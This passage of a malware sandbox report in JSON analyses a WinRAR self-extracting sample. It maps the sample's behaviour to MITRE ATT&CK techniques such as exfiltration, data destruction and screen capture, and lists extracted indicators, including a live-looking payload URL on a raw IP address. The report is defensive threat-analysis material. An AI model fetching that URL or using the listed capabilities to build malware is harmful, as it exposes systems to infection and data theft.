exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"YARA signature match – WinRAR file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using GET request"},{"type":"malicious","value":"Upload file using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"malicious","value":"Executes file deletion commands for data destruction"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on RAR SFX file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-155","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with medium confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-17","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$22","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\"), Found reference to API \"FtpCreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread Error\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-161","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-220","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\SFX\\setup\\build\\sfxrar64\\Release\\sfxrar.pdb\"","origin":"sample.bin","id":"string-7","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\"), Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"sample.bin\"), Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"sample.bin\"), Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564","id":"string-269","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\WinRAR SFX\" in Source: sample.bin, \"Software\\Microsoft\\Windows\\CurrentVersion\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: sample.bin, Indicator: \"select * from win32_operatingsystem\")","origin":"sample.bin","mitre_attack_id":"T1213","id":"string-16","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"\nWaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"sample.bin\"), Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-884","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"sample.bin\"), Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1570","id":"string-322","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-307","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\"), Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"CopySid\" (Indicator: \"CopySid\"; Source: \"sample.bin\"), Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"sample.bin\"), Found reference to API \"InitializeSecurityDescriptor\" (Indicator: \"InitializeSecurityDescriptor\"; Source: \"sample.bin\"), Found reference to API \"CreateWellKnownSid\" (Indicator: \"CreateWellKnownSid\"; Source: \"sample.bin\"), Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"sample.bin\"), Found reference to API \"SetSecurityDescriptorDacl\" (Indicator: \"SetSecurityDescriptorDacl\"; Source: \"sample.bin\"), Found reference to API \"SetEntriesInAclW\" (Indicator: \"SetEntriesInAcl\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"InitializeSid\"; Source: \"sample.bin\"), Found reference to API \"SetFileSecurityW\" (Indicator: \"SetFileSecurityW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyW\" in \"sample.bin\", Found registry deletion API: \"RegDeleteKeyExW\" in \"sample.bin\", Found registry deletion API: \"RegDeleteValueW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-230","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; Source: \"sample.bin\"), Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"sample.bin\"), Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1548","id":"string-97","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1222","id":"string-426","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoSizeW\" (Indicator: \"GetFileVersionInfo\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoSizeW\" (Indicator: \"GetFileVersionInfoSize\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoW\" (Indicator: \"GetFileVersionInfo\"; Source: \"sample.bin\"), Found reference to API \"FtpGetFileSize\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\"), Found reference to API \"GetTempFileNameW\" (Indicator: \"GetTempFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExW\" in \"sample.bin\", Found registry query API: \"RegEnumValueW\" in \"sample.bin\", Found registry query API: \"RegEnumKeyW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password.\" (Indicator: \"password\"; Source: \"sample.bin\"), Found string \"/password\" (Indicator: \"password\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-437","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"sample.bin\"), Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\"), Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-121","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-205","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-188","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"sample.bin\"), Found reference to API \"HttpSendRequestExW\" (Indicator: \"HttpSendRequest\"; Source: \"sample.bin\"), Found reference to API \"HttpSendRequestW\" (Indicator: \"HttpSendRequest\"; Source: \"sample.bin\"), Found reference to API \"HttpQueryInfoW\" (Indicator: \"HttpQueryInfo\"; Source: \"sample.bin\"), Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"sample.bin\"), Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"sample.bin\"), Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-601","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-539","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"j:.gy\", Pattern match: \"http://schemas.microsoft.com/smi/2005/windowssettings\", Pattern match: \"http://nsis.sf.net/nsis_error\", Pattern match: \"http://45.225.135.164:8081/googleadsspainwinrart1.exe\", Heuristic match: \"hu.su\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-241","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"45.225.135.164\" found in string \"http://45.225.135.164:8081/GoogleAdsSpainWinRarT1.exe\", \"1.0.5.2\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-314","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"sample.bin\"), Found reference to API \"CreatePipe\" (Indicator: 